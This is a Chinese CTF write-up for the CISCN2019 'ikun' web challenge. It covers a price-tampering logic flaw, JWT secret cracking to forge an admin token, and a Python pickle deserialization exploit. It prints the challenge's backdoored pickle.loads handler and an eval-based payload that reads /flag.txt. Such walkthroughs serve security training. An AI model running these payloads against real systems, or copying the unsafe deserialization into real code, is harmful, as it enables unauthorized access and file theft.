[CISCN2019 华北赛区 Day1 Web2]ikun
前言
kun kun勇敢飞,iKun永相随!!!!
知识点
抓包薅羊毛逻辑漏洞
我们做ctf 题时经常遇到 数值大小限制。非常经典的例子就是经常给我们1000块钱让我们买1亿块钱的东西。这个时候一般有两个思路
第一个是利用f12控制台修改前端,第一个不好使的时候我们可以考虑抓包修改参数 本题就是采用抓包修改参数的策略。
jwt破解
dalao 的博客把jwt讲的很清楚了已经,我这就简单叙述一下我的理解。
jwt 全称 Json Web Token 是一种较安全的用于传递信息的token
jwt破解一般出现在获取授权或交换信息的情境下。
jwt由三部分组成
Header
Payload
Signnature
三部分是什么这里不详述。只谈一下jwt破解关于这三部分的思路
首先是关于Header header不变,所以抓包未破解前的jwt值base64解密获取即可
payload部分则是 传递数据,或伪装获取授权的位置,例如本题中要求是admin访问,我们就把username后对应的数值改为admin
最后signnature部分,你需要获取一个Key 这里利用jwtcracker工具
输入抓包获得的jwt得到key
例如本题
三部分都完成网站解密即可
python pickle 反序列化
题解
打开环境,又看到了我最爱的kunkun 心情愉悦。
看右上角有注册,注册一个账号并登录。
给了一千块钱 哇好多,不过这里也可以猜测又要让我们薅羊毛了QAQ
进入后援会,哇让买某站账号,提示一定要买到lv6 ,我们写个脚本搜一下。
import requests
url="http://e3b32889-def7-4684-a2df-86128aa61370.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if "lv6.png" in r.text:
print (i)
break
好贵啊果然买不起,f12发现不是前端语言逻辑漏洞 抓包改参数吧
行了进入 提示只让admin访问
进行jwt破解
把username改为 admin jwt破解的过程在上文知识点里,这里不再赘述
在页面源码里发现了www文件下载
在admin.py里存在一个pickle后门
rom sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))#hello!!!
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
pickle反序列化的知识也在上文中这里只提供一个构造脚本
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
将生成的payload传参给become
得到flag